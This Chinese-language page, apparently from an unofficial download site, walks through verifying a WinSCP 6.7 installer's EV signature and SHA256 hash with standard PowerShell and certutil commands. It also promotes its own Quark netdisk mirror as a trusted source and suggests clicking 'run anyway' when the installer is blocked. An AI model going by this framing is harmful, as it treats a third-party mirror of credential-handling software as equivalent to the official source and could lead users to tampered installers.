WinSCP校验 - EV 代码签名与安装包哈希验证
WinSCP 处理你的服务器凭据，安装包务必验证来源。官方提供两重保障：DigiCert EV 代码签名与发布哈希。
第一步：验证数字签名
- 右键
WinSCP-6.7-Setup.exe→ 属性 → 数字签名标签页； - 应存在有效签名，签发方为作者 Martin Prikryl（EV 证书，有效期至 2029-03）；
- 命令行核验（PowerShell）：
Get-AuthenticodeSignature .\WinSCP-6.7-Setup.exe，Status 应为 Valid。
第二步：哈希核对
# Windows（cmd / PowerShell）
certutil -hashfile WinSCP-6.7-Setup.exe SHA256
将输出与官方发布页公布的哈希逐字比对。文件大小约 12 MB，几十秒即可完成。
常见疑问
EV 签名的官方包通常直接放行；若被拦，先核对签名与哈希无误后再点「仍要运行」。从网盘或第三方下载的包更应如此。
先重下载一次排除传输损坏；仍不一致说明文件被篡改，切勿安装，改从官方或本站网盘获取。
zip 内的 WinSCP.exe 带同样的代码签名，解压后对 exe 执行签名验证即可。
从可信入口获取安装包夸克网盘分发 · 支持 EV 签名与哈希逐字核对
夸克网盘高速下载